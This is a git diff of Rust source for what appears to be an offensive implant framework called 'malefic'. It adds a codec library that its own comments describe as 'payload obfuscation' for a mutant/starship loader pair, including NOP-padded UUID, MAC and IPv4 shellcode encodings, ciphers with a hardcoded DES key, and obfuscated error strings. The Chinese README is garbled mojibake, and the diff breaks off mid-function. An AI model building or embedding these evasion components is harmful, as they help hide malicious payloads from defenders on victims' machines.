ï¼ˆå§‹ç»ˆå¯ç”¨ï¼‰ +fn decode(data: &[u8], key: &[u8], extra: &[u8]) -> Vec; +``` diff --git a/malefic-crates/codec/src/aes.rs b/malefic-crates/codec/src/aes.rs new file mode 100644 index 0000000..f2c6fd0 --- /dev/null +++ b/malefic-crates/codec/src/aes.rs @@ -0,0 +1,90 @@ +//! AES-256-CBC codec +//! Key derivation: SHA256(raw_key) → 32-byte AES key +//! IV: zero (matching BOAZ convention) + +use aes::Aes256; +use sha2::{Digest, Sha256}; + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +fn pkcs7_pad(data: &[u8], block_size: usize) -> Vec { + let pad_len = block_size - (data.len() % block_size); + let mut padded = data.to_vec(); + padded.extend(std::iter::repeat(pad_len as u8).take(pad_len)); + padded +} + +fn pkcs7_unpad(data: &mut Vec, max_block: usize) { + if let Some(&pad_len) = data.last() { + let pad_len = pad_len as usize; + if pad_len > 0 && pad_len <= max_block && data.len() >= pad_len { + let valid = data[data.len() - pad_len..] + .iter() + .all(|&b| b == pad_len as u8); + if valid { + data.truncate(data.len() - pad_len); + } + } + } +} + +fn derive_key(raw_key: &[u8]) -> [u8; 32] { + let mut hasher = Sha256::new(); + hasher.update(raw_key); + hasher.finalize().into() +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + use cbc::{ + cipher::{BlockEncryptMut, KeyIvInit}, + Encryptor, + }; + + type Aes256CbcEnc = Encryptor; + + let mut raw_key = [0u8; 16]; + malefic_common::random::fill(&mut raw_key); + + let derived_key = derive_key(&raw_key); + let iv = [0u8; 16]; + + let padded = pkcs7_pad(data, 16); + let mut buf = padded.clone(); + let cipher = Aes256CbcEnc::new(&derived_key.into(), &iv.into()); + let ct = cipher + .encrypt_padded_mut::(&mut buf, padded.len()) + .expect("AES encryption failed"); + + EncodeResult { + encoded: ct.to_vec(), + key: raw_key.to_vec(), + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + use cbc::{ + cipher::{BlockDecryptMut, KeyIvInit}, + Decryptor, + }; + + type Aes256CbcDec = Decryptor; + + let derived_key = derive_key(key); + let iv = [0u8; 16]; + + let cipher = Aes256CbcDec::new(&derived_key.into(), &iv.into()); + let mut buf = data.to_vec(); + match cipher.decrypt_padded_mut::(&mut buf) { + Ok(pt) => { + let mut result = pt.to_vec(); + pkcs7_unpad(&mut result, 16); + result + } + Err(_) => data.to_vec(), + } +} diff --git a/malefic-crates/codec/src/aes2.rs b/malefic-crates/codec/src/aes2.rs new file mode 100644 index 0000000..30cc43c --- /dev/null +++ b/malefic-crates/codec/src/aes2.rs @@ -0,0 +1,13 @@ +//! AES2 codec - same algorithm as AES, different output format in CLI + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + super::aes::encode(data) +} + +pub fn decode(data: &[u8], key: &[u8], extra: &[u8]) -> Vec { + super::aes::decode(data, key, extra) +} diff --git a/malefic-crates/codec/src/base45.rs b/malefic-crates/codec/src/base45.rs new file mode 100644 index 0000000..4fbd737 --- /dev/null +++ b/malefic-crates/codec/src/base45.rs @@ -0,0 +1,76 @@ +//! Base45 codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const BASE45_ALPHABET: &[u8] = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"; + +fn char_to_val(c: u8) -> Option { + BASE45_ALPHABET + .iter() + .position(|&b| b == c) + .map(|p| p as u32) +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut encoded = String::new(); + + let mut i = 0; + while i < data.len() { + if i + 1 < data.len() { + let val = (data[i] as u32) * 256 + (data[i + 1] as u32); + let c = val / (45 * 45); + let remainder = val % (45 * 45); + let b = remainder / 45; + let a = remainder % 45; + encoded.push(BASE45_ALPHABET[a as usize] as char); + encoded.push(BASE45_ALPHABET[b as usize] as char); + encoded.push(BASE45_ALPHABET[c as usize] as char); + i += 2; + } else { + let val = data[i] as u32; + let b = val / 45; + let a = val % 45; + encoded.push(BASE45_ALPHABET[a as usize] as char); + encoded.push(BASE45_ALPHABET[b as usize] as char); + i += 1; + } + } + + EncodeResult { + encoded: encoded.as_bytes().to_vec(), + key: vec![], + extra: vec![], + strings: vec![encoded], + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let input: Vec = text.bytes().collect(); + let mut result = Vec::new(); + + let mut i = 0; + while i < input.len() { + if i + 2 < input.len() { + let a = char_to_val(input[i]).unwrap_or(0); + let b = char_to_val(input[i + 1]).unwrap_or(0); + let c = char_to_val(input[i + 2]).unwrap_or(0); + let val = a + b * 45 + c * 45 * 45; + result.push((val / 256) as u8); + result.push((val % 256) as u8); + i += 3; + } else if i + 1 < input.len() { + let a = char_to_val(input[i]).unwrap_or(0); + let b = char_to_val(input[i + 1]).unwrap_or(0); + let val = a + b * 45; + result.push(val as u8); + i += 2; + } else { + break; + } + } + + result +} diff --git a/malefic-crates/codec/src/base58.rs b/malefic-crates/codec/src/base58.rs new file mode 100644 index 0000000..e82bb61 --- /dev/null +++ b/malefic-crates/codec/src/base58.rs @@ -0,0 +1,97 @@ +//! Base58 codec (Bitcoin alphabet) + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const BASE58_ALPHABET: &[u8] = b"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; + +fn char_to_val(c: u8) -> Option { + BASE58_ALPHABET + .iter() + .position(|&b| b == c) + .map(|p| p as u8) +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut leading_zeros = 0; + for &byte in data { + if byte == 0 { + leading_zeros += 1; + } else { + break; + } + } + + let mut digits: Vec = vec![0]; + for &byte in data { + let mut carry = byte as u32; + for digit in digits.iter_mut() { + carry += (*digit as u32) * 256; + *digit = (carry % 58) as u8; + carry /= 58; + } + while carry > 0 { + digits.push((carry % 58) as u8); + carry /= 58; + } + } + + let mut result = String::new(); + for _ in 0..leading_zeros { + result.push('1'); + } + for &digit in digits.iter().rev() { + result.push(BASE58_ALPHABET[digit as usize] as char); + } + + EncodeResult { + encoded: result.as_bytes().to_vec(), + key: vec![], + extra: vec![], + strings: vec![result], + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let input = text.trim(); + + let mut leading_ones = 0; + for c in input.chars() { + if c == '1' { + leading_ones += 1; + } else { + break; + } + } + + let mut digits: Vec = vec![0]; + for c in input.bytes() { + let val = match char_to_val(c) { + Some(v) => v as u32, + None => continue, + }; + + let mut carry = val; + for digit in digits.iter_mut() { + carry += (*digit as u32) * 58; + *digit = (carry % 256) as u8; + carry /= 256; + } + while carry > 0 { + digits.push((carry % 256) as u8); + carry /= 256; + } + } + + let mut result = Vec::with_capacity(leading_ones + digits.len()); + for _ in 0..leading_ones { + result.push(0); + } + for &d in digits.iter().rev() { + result.push(d); + } + + result +} diff --git a/malefic-crates/codec/src/base64.rs b/malefic-crates/codec/src/base64.rs new file mode 100644 index 0000000..d7e7276 --- /dev/null +++ b/malefic-crates/codec/src/base64.rs @@ -0,0 +1,92 @@ +//! Base64 codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const ALPHABET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +const DECODE_TABLE: [u8; 128] = { + let mut table = [0xFFu8; 128]; + let mut i = 0; + while i < 64 { + table[ALPHABET[i] as usize] = i as u8; + i += 1; + } + table +}; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut encoded = String::new(); + let mut i = 0; + + while i + 2 < data.len() { + let triple = ((data[i] as u32) << 16) | ((data[i + 1] as u32) << 8) | (data[i + 2] as u32); + encoded.push(ALPHABET[((triple >> 18) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 12) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 6) & 0x3F) as usize] as char); + encoded.push(ALPHABET[(triple & 0x3F) as usize] as char); + i += 3; + } + + let remaining = data.len() - i; + if remaining == 1 { + let triple = (data[i] as u32) << 16; + encoded.push(ALPHABET[((triple >> 18) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 12) & 0x3F) as usize] as char); + encoded.push('='); + encoded.push('='); + } else if remaining == 2 { + let triple = ((data[i] as u32) << 16) | ((data[i + 1] as u32) << 8); + encoded.push(ALPHABET[((triple >> 18) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 12) & 0x3F) as usize] as char); + encoded.push(ALPHABET[((triple >> 6) & 0x3F) as usize] as char); + encoded.push('='); + } + + EncodeResult { + encoded: encoded.as_bytes().to_vec(), + key: vec![], + extra: vec![], + strings: vec![encoded], + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let input: Vec = text + .bytes() + .filter(|b| !b.is_ascii_whitespace() && *b != b'=') + .collect(); + let mut result = Vec::with_capacity(input.len() * 3 / 4); + + let mut i = 0; + while i + 3 < input.len() { + let a = DECODE_TABLE[input[i] as usize] as u32; + let b = DECODE_TABLE[input[i + 1] as usize] as u32; + let c = DECODE_TABLE[input[i + 2] as usize] as u32; + let d = DECODE_TABLE[input[i + 3] as usize] as u32; + let triple = (a << 18) | (b << 12) | (c << 6) | d; + result.push((triple >> 16) as u8); + result.push((triple >> 8) as u8); + result.push(triple as u8); + i += 4; + } + + let remaining = input.len() - i; + if remaining == 2 { + let a = DECODE_TABLE[input[i] as usize] as u32; + let b = DECODE_TABLE[input[i + 1] as usize] as u32; + let triple = (a << 18) | (b << 12); + result.push((triple >> 16) as u8); + } else if remaining == 3 { + let a = DECODE_TABLE[input[i] as usize] as u32; + let b = DECODE_TABLE[input[i + 1] as usize] as u32; + let c = DECODE_TABLE[input[i + 2] as usize] as u32; + let triple = (a << 18) | (b << 12) | (c << 6); + result.push((triple >> 16) as u8); + result.push((triple >> 8) as u8); + } + + result +} diff --git a/malefic-crates/codec/src/chacha.rs b/malefic-crates/codec/src/chacha.rs new file mode 100644 index 0000000..2b6b1cb --- /dev/null +++ b/malefic-crates/codec/src/chacha.rs @@ -0,0 +1,45 @@ +//! ChaCha20 codec +//! Key: 32-byte key +//! Extra: 12-byte nonce + +use chacha20::cipher::{KeyIvInit, StreamCipher}; +use chacha20::ChaCha20; + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +fn apply_chacha(data: &[u8], key: &[u8], nonce: &[u8]) -> Vec { + let mut key_arr = [0u8; 32]; + let len = key.len().min(32); + key_arr[..len].copy_from_slice(&key[..len]); + + let mut nonce_arr = [0u8; 12]; + let nonce_len = nonce.len().min(12); + nonce_arr[..nonce_len].copy_from_slice(&nonce[..nonce_len]); + + let mut cipher = ChaCha20::new(&key_arr.into(), &nonce_arr.into()); + let mut buf = data.to_vec(); + cipher.apply_keystream(&mut buf); + buf +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut key = [0u8; 32]; + let mut nonce = [0u8; 12]; + malefic_common::random::fill(&mut key); + malefic_common::random::fill(&mut nonce); + + let encoded = apply_chacha(data, &key, &nonce); + + EncodeResult { + encoded, + key: key.to_vec(), + extra: nonce.to_vec(), + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], extra: &[u8]) -> Vec { + apply_chacha(data, key, extra) +} diff --git a/malefic-crates/codec/src/des.rs b/malefic-crates/codec/src/des.rs new file mode 100644 index 0000000..5e1d875 --- /dev/null +++ b/malefic-crates/codec/src/des.rs @@ -0,0 +1,100 @@ +//! DES-ECB codec +//! Key: 7-byte raw key (expanded to 8-byte DES key with parity bits, matching BOAZ) + +use cipher::KeyInit; +use des::Des; + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +const BLOCK_SIZE: usize = 8; + +/// Convert 7-byte key to 8-byte DES key with parity bits +fn build_des_key_7to8(raw_key: &[u8]) -> [u8; 8] { + let mut raw7 = [0u8; 7]; + let len = raw_key.len().min(7); + raw7[..len].copy_from_slice(&raw_key[..len]); + + let mut inbits: u64 = 0; + for &b in &raw7 { + inbits = (inbits << 8) | b as u64; + } + + let mut out = [0u8; 8]; + let mut shift: i32 = 56 - 7; + for i in 0..8 { + let block_7 = ((inbits >> shift as u32) & 0x7F) as u8; + shift -= 7; + let bit_count = block_7.count_ones(); + let block_8 = (block_7 << 1) | if bit_count % 2 == 0 { 1 } else { 0 }; + out[i] = block_8; + } + out +} + +#[cfg(feature = "encoder")] +fn pkcs7_pad(data: &[u8]) -> Vec { + let pad_len = BLOCK_SIZE - (data.len() % BLOCK_SIZE); + let mut padded = data.to_vec(); + padded.extend(std::iter::repeat(pad_len as u8).take(pad_len)); + padded +} + +fn pkcs7_unpad(data: &mut Vec) { + if let Some(&pad_len) = data.last() { + let pad_len = pad_len as usize; + if pad_len > 0 && pad_len <= BLOCK_SIZE && data.len() >= pad_len { + let valid = data[data.len() - pad_len..] + .iter() + .all(|&b| b == pad_len as u8); + if valid { + data.truncate(data.len() - pad_len); + } + } + } +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + use cipher::BlockEncryptMut; + use ecb::Encryptor; + + type DesEcbEnc = Encryptor; + + let raw_key: [u8; 7] = *b"BOAZIST"; + let des_key = build_des_key_7to8(&raw_key); + + let padded = pkcs7_pad(data); + let cipher = DesEcbEnc::new(&des_key.into()); + let mut buf = padded.clone(); + let ct = cipher + .encrypt_padded_mut::(&mut buf, padded.len()) + .expect("DES encryption failed"); + + EncodeResult { + encoded: ct.to_vec(), + key: raw_key.to_vec(), + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + use cipher::BlockDecryptMut; + use ecb::Decryptor; + + type DesEcbDec = Decryptor; + + let des_key = build_des_key_7to8(key); + let cipher = DesEcbDec::new(&des_key.into()); + let mut buf = data.to_vec(); + + match cipher.decrypt_padded_mut::(&mut buf) { + Ok(pt) => { + let mut result = pt.to_vec(); + pkcs7_unpad(&mut result); + result + } + Err(_) => data.to_vec(), + } +} diff --git a/malefic-crates/codec/src/ipv4.rs b/malefic-crates/codec/src/ipv4.rs new file mode 100644 index 0000000..1a98388 --- /dev/null +++ b/malefic-crates/codec/src/ipv4.rs @@ -0,0 +1,47 @@ +//! IPv4 address codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +const PAD_BYTE: u8 = 0x90; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut padded = data.to_vec(); + while padded.len() % 4 != 0 { + padded.push(PAD_BYTE); + } + + let mut ipv4s = Vec::new(); + for chunk in padded.chunks(4) { + let ip = format!("{}.{}.{}.{}", chunk[0], chunk[1], chunk[2], chunk[3]); + ipv4s.push(ip); + } + + EncodeResult { + encoded: padded, + key: vec![], + extra: vec![], + strings: ipv4s, + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let mut result = Vec::new(); + + for line in text.lines() { + let line = line.trim(); + if line.is_empty() { + continue; + } + for part in line.split('.') { + if let Ok(b) = part.trim().parse::() { + result.push(b); + } + } + } + + result +} diff --git a/malefic-crates/codec/src/lib.rs b/malefic-crates/codec/src/lib.rs new file mode 100644 index 0000000..aa60fd2 --- /dev/null +++ b/malefic-crates/codec/src/lib.rs @@ -0,0 +1,44 @@ +//! Malefic Codec - Shared payload encoding/decoding library +//! +//! Provides symmetric encode/decode for 12 payload obfuscation algorithms. +//! Used by malefic-mutant (encode side) and malefic-starship (decode side). + +#[cfg(any(feature = "codec_aes", feature = "codec_aes2"))] +pub mod aes; +#[cfg(feature = "codec_aes2")] +pub mod aes2; +#[cfg(feature = "codec_base45")] +pub mod base45; +#[cfg(feature = "codec_base58")] +pub mod base58; +#[cfg(feature = "codec_base64")] +pub mod base64; +#[cfg(feature = "codec_chacha")] +pub mod chacha; +#[cfg(feature = "codec_des")] +pub mod des; +#[cfg(feature = "codec_ipv4")] +pub mod ipv4; +#[cfg(feature = "codec_mac")] +pub mod mac; +#[cfg(feature = "codec_rc4")] +pub mod rc4; +#[cfg(feature = "codec_uuid")] +pub mod uuid; +#[cfg(feature = "codec_xor")] +pub mod xor; + +use malefic_gateway::ObfDebug; + +/// Result of encoding a payload +#[derive(ObfDebug, Clone)] +pub struct EncodeResult { + /// The encoded payload bytes + pub encoded: Vec, + /// Key material (if applicable) + pub key: Vec, + /// Additional key material (nonce, IV, etc.) + pub extra: Vec, + /// String-based output (for UUID, MAC, IPv4, base encodings) + pub strings: Vec, +} diff --git a/malefic-crates/codec/src/mac.rs b/malefic-crates/codec/src/mac.rs new file mode 100644 index 0000000..488bb72 --- /dev/null +++ b/malefic-crates/codec/src/mac.rs @@ -0,0 +1,50 @@ +//! MAC address codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +const PAD_BYTE: u8 = 0x90; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut padded = data.to_vec(); + while padded.len() % 6 != 0 { + padded.push(PAD_BYTE); + } + + let mut macs = Vec::new(); + for chunk in padded.chunks(6) { + let mac = format!( + "{:02x}-{:02x}-{:02x}-{:02x}-{:02x}-{:02x}", + chunk[0], chunk[1], chunk[2], chunk[3], chunk[4], chunk[5] + ); + macs.push(mac); + } + + EncodeResult { + encoded: padded, + key: vec![], + extra: vec![], + strings: macs, + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let mut result = Vec::new(); + + for line in text.lines() { + let line = line.trim(); + if line.is_empty() { + continue; + } + for part in line.split('-') { + if let Ok(b) = u8::from_str_radix(part.trim(), 16) { + result.push(b); + } + } + } + + result +} diff --git a/malefic-crates/codec/src/rc4.rs b/malefic-crates/codec/src/rc4.rs new file mode 100644 index 0000000..cdc3693 --- /dev/null +++ b/malefic-crates/codec/src/rc4.rs @@ -0,0 +1,53 @@ +//! RC4 codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +fn rc4_ksa(key: &[u8]) -> [u8; 256] { + let mut s = [0u8; 256]; + for i in 0..256 { + s[i] = i as u8; + } + let mut j: u8 = 0; + for i in 0..256 { + j = j.wrapping_add(s[i]).wrapping_add(key[i % key.len()]); + s.swap(i, j as usize); + } + s +} + +fn rc4_crypt(data: &[u8], key: &[u8]) -> Vec { + let mut s = rc4_ksa(key); + let mut i: u8 = 0; + let mut j: u8 = 0; + let mut result = Vec::with_capacity(data.len()); + + for &byte in data { + i = i.wrapping_add(1); + j = j.wrapping_add(s[i as usize]); + s.swap(i as usize, j as usize); + let k = s[(s[i as usize].wrapping_add(s[j as usize])) as usize]; + result.push(byte ^ k); + } + + result +} + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut key = [0u8; 16]; + malefic_common::random::fill(&mut key); + + let encoded = rc4_crypt(data, &key); + + EncodeResult { + encoded, + key: key.to_vec(), + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + rc4_crypt(data, key) +} diff --git a/malefic-crates/codec/src/uuid.rs b/malefic-crates/codec/src/uuid.rs new file mode 100644 index 0000000..daa6330 --- /dev/null +++ b/malefic-crates/codec/src/uuid.rs @@ -0,0 +1,70 @@ +//! UUID codec - RFC 4122 byte-reordered UUID string encoding + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +const PAD_BYTE: u8 = 0x90; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let mut padded = data.to_vec(); + while padded.len() % 16 != 0 { + padded.push(PAD_BYTE); + } + + let mut uuids = Vec::new(); + for chunk in padded.chunks(16) { + let uuid = format!( + "{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}", + chunk[3], chunk[2], chunk[1], chunk[0], + chunk[5], chunk[4], + chunk[7], chunk[6], + chunk[8], chunk[9], + chunk[10], chunk[11], chunk[12], chunk[13], chunk[14], chunk[15] + ); + uuids.push(uuid); + } + + EncodeResult { + encoded: padded, + key: vec![], + extra: vec![], + strings: uuids, + } +} + +pub fn decode(data: &[u8], _key: &[u8], _extra: &[u8]) -> Vec { + let text = String::from_utf8_lossy(data); + let mut result = Vec::new(); + + for line in text.lines() { + let line = line.trim(); + if line.is_empty() { + continue; + } + let hex: String = line.chars().filter(|c| c.is_ascii_hexdigit()).collect(); + if hex.len() != 32 { + continue; + } + + let bytes: Vec = (0..32) + .step_by(2) + .map(|i| u8::from_str_radix(&hex[i..i + 2], 16).unwrap_or(0)) + .collect(); + + if bytes.len() >= 16 { + result.push(bytes[3]); + result.push(bytes[2]); + result.push(bytes[1]); + result.push(bytes[0]); + result.push(bytes[5]); + result.push(bytes[4]); + result.push(bytes[7]); + result.push(bytes[6]); + result.extend_from_slice(&bytes[8..16]); + } + } + + result +} diff --git a/malefic-crates/codec/src/xor.rs b/malefic-crates/codec/src/xor.rs new file mode 100644 index 0000000..89ead36 --- /dev/null +++ b/malefic-crates/codec/src/xor.rs @@ -0,0 +1,21 @@ +//! XOR codec + +#[cfg(feature = "encoder")] +use crate::EncodeResult; + +#[cfg(feature = "encoder")] +pub fn encode(data: &[u8]) -> EncodeResult { + let key = malefic_common::random::random_u8(); + let encoded: Vec = data.iter().map(|b| b ^ key).collect(); + EncodeResult { + encoded, + key: vec![key], + extra: vec![], + strings: vec![], + } +} + +pub fn decode(data: &[u8], key: &[u8], _extra: &[u8]) -> Vec { + let k = key[0]; + data.iter().map(|b| b ^ k).collect() +} diff --git a/malefic-crates/common/Cargo.toml b/malefic-crates/common/Cargo.toml new file mode 100644 index 0000000..a3706d5 --- /dev/null +++ b/malefic-crates/common/Cargo.toml @@ -0,0 +1,35 @@ +[package] +name = "malefic-common" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +register_info = [] + +# Runtime +async-std = ["dep:async-std"] +tokio = ["dep:tokio"] +smol = ["dep:smol"] + +# Random backend (mutually exclusive) +random_nanorand = ["dep:nanorand"] +random_getrandom = ["dep:getrandom"] + +[dependencies] +async-trait = { workspace = true } +thiserror = { workspace = true } +anyhow = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +malefic-gateway = { workspace = true } + +async-std = { workspace = true, optional = true } +tokio = { workspace = true, features = ["rt", "rt-multi-thread"], optional = true } +smol = { workspace = true, optional = true } + +nanorand = { workspace = true, optional = true } +getrandom = { workspace = true, optional = true } + +[target.'cfg(all(target_os = "linux", target_env = "gnu"))'.dependencies] +libc = { workspace = true } diff --git a/malefic-crates/common/README.md b/malefic-crates/common/README.md new file mode 100644 index 0000000..8b5ffda --- /dev/null +++ b/malefic-crates/common/README.md @@ -0,0 +1,90 @@ +# malefic-common + +共享错误类型与异步è¿è¡Œæ—¶æŠ½è±¡ï¼Œä¸ºä¸Šå±‚æ¨¡å—æä¾›ç»Ÿä¸€çš„é”™è¯¯å¤„ç†å’Œè¿è¡Œæ—¶æŽ¥å£ã€‚ + +## 功能简介 + +- **统一错误类型**:定义 `MaleficError` å’Œ `CommonError` ä¸¤å¥—é”™è¯¯æžšä¸¾ï¼Œè¦†ç›–ä»»åŠ¡è°ƒåº¦ã€æ¨¡å—管ç†ã€ä¼ è¾“层ã€IO 等场景 +- **异步è¿è¡Œæ—¶æŠ½è±¡**:通过 feature gate 在 `async-std`ã€`tokio`ã€`smol` 三ç§è¿è¡Œæ—¶ä¹‹é—´åˆ‡æ¢ï¼Œå¯¹å¤–暴露统一的 `spawn`ã€`spawn_blocking`ã€`Handle` æŽ¥å£ +- **å¯å–æ¶ˆä»»åŠ¡å¥æŸ„**:æä¾› `CancellableHandle` trait 与 `RuntimeHandle` 类型,支æŒå¯¹å¼‚æ­¥ä»»åŠ¡çš„ç»Ÿä¸€å–æ¶ˆæ“作 +- **底层工具函数**:指针算术ã€DJB2 字符串哈希ã€C/宽字符串长度计算ã€å‘½ä»¤è¡Œæ ¼å¼åŒ–等实用工具 +- **辅助å®**:`check_body!` 用于æå–和校验消æ¯ä½“,`to_error!` 统一错误转æ¢ï¼Œ`debug!` æ¡ä»¶ç¼–译调试输出 + +## Features + +| Feature | 说明 | +|---------|------| +| `async-std` | 使用 async-std 作为异步è¿è¡Œæ—¶ | +| `tokio` | 使用 tokio 作为异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 作为异步è¿è¡Œæ—¶ | +| `register_info` | å¯ç”¨æ³¨å†Œä¿¡æ¯ç›¸å…³åŠŸèƒ½ | + +> 三个è¿è¡Œæ—¶ feature 互斥,构建时åªèƒ½å¯ç”¨å…¶ä¸­ä¸€ä¸ªã€‚ + +## 基本用法 + +### å¼‚æ­¥ä»»åŠ¡æ´¾å‘ + +```rust +use malefic_common::{spawn, spawn_blocking, Handle}; + +// æ´¾å‘异步任务 +let handle: Handle<()> = spawn(async { + // 异步逻辑 +}); + +// æ´¾å‘阻塞任务到专用线程 +let result = spawn_blocking(|| { + // 阻塞计算 +}); +``` + +### å–æ¶ˆä»»åŠ¡ + +```rust +use malefic_common::{RuntimeHandle, CancellableHandle}; +use std::sync::{Arc, Mutex}; + +let handle: RuntimeHandle = Arc::new(Mutex::new(None)); +// ... å¯åŠ¨ä»»åŠ¡åŽå­˜å…¥ handle ... +handle.cancel(); // ç»Ÿä¸€å–æ¶ˆæŽ¥å£ï¼Œåº•层自动适é…ä¸åŒè¿è¡Œæ—¶ +``` + +### é”™è¯¯å¤„ç† + +```rust +use malefic_common::error::MaleficError; +use malefic_common::common_error::CommonError; + +// MaleficError æä¾›æ•°å­— ID,便于åºåˆ—化传输 +let err = MaleficError::ModuleNotFound; +assert_eq!(err.id(), 5); +``` + +### è¾…åŠ©å® + +```rust +use malefic_common::{check_body, to_error, debug}; + +// æ¡ä»¶ç¼–译调试输出(仅 debug 构建生效) +debug!("current state: {:?}", state); + +// ç»Ÿä¸€é”™è¯¯è½¬æ¢ +let result = to_error!(some_fallible_call()); +``` + +### 工具函数 + +```rust +use malefic_common::utils::dbj2_str_hash; + +let hash = dbj2_str_hash(b"KERNEL32.DLL"); +``` + +## å‚考链接 + +- [thiserror - 派生å®é”™è¯¯ç±»åž‹](https://docs.rs/thiserror) +- [async-trait](https://docs.rs/async-trait) +- [tokio](https://docs.rs/tokio) +- [async-std](https://docs.rs/async-std) +- [smol](https://docs.rs/smol) diff --git a/malefic-crates/common/src/errors.rs b/malefic-crates/common/src/errors.rs new file mode 100644 index 0000000..c739130 --- /dev/null +++ b/malefic-crates/common/src/errors.rs @@ -0,0 +1,271 @@ +pub use thiserror::Error; + +use malefic_gateway::obfstr::obfstr; +use std::time::{SystemTime, UNIX_EPOCH}; + +// ---- Utility macros ---- + +#[macro_export] +macro_rules! to_error { + ($expr:expr) => { + $expr.map_err(|e| anyhow::Error::msg(format!("{:#?}", e))) + }; +} + +#[macro_export] +macro_rules! debug { + ($($arg:tt)*) => { + #[cfg(debug_assertions)] + { + println!( + "[{}] {}", + $crate::errors::debug_timestamp(), + format_args!($($arg)*) + ); + } + }; +} + +pub fn debug_timestamp() -> String { + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default(); + let secs = now.as_secs(); + let hours = (secs / 3600) % 24; + let minutes = (secs / 60) % 60; + let seconds = secs % 60; + let millis = now.subsec_millis(); + format!("{:02}:{:02}:{:02}.{:03}", hours, minutes, seconds, millis) +} + +// ---- TaskError (moved from malefic-module) ---- + +#[derive(Debug)] +pub enum TaskError { + OperatorError(anyhow::Error), + NotExpectBody, + FieldRequired { msg: String }, + FieldLengthMismatch { msg: String }, + FieldInvalid { msg: String }, + NotImpl, +} + +impl std::fmt::Display for TaskError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + TaskError::OperatorError(e) => std::fmt::Display::fmt(e, f), + TaskError::NotExpectBody => f.write_str(obfstr!("task body was not expected")), + TaskError::FieldRequired { msg } => f.write_str(msg), + TaskError::FieldLengthMismatch { msg } => f.write_str(msg), + TaskError::FieldInvalid { msg } => f.write_str(msg), + TaskError::NotImpl => f.write_str(obfstr!("task not implemented")), + } + } +} + +impl std::error::Error for TaskError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + TaskError::OperatorError(e) => e.source(), + _ => None, + } + } +} + +impl From for TaskError { + fn from(e: anyhow::Error) -> Self { + TaskError::OperatorError(e) + } +} + +impl TaskError { + pub fn id(&self) -> i32 { + match self { + TaskError::OperatorError { .. } => 2, + TaskError::NotExpectBody => 3, + TaskError::FieldRequired { .. } => 4, + TaskError::FieldLengthMismatch { .. } => 5, + TaskError::FieldInvalid { .. } => 6, + TaskError::NotImpl => 99, + } + } +} + +// ---- MaleficError (moved from error.rs) ---- + +#[derive(Debug)] +pub enum MaleficError { + Panic(anyhow::Error), + + UnpackError, + + MissBody, + + UnExceptBody, + + ModuleError, + + ModuleNotFound, + + AddonNotFound, + + TaskError(TaskError), + + TransportError(String), + + TaskNotFound, + + TaskOperatorNotFound, + + /// Internal module that only makes sense in beacon/bind mode (not headless). + BeaconOnly(String), +} + +impl std::fmt::Display for MaleficError { + fn fmt(&self, f: &mut 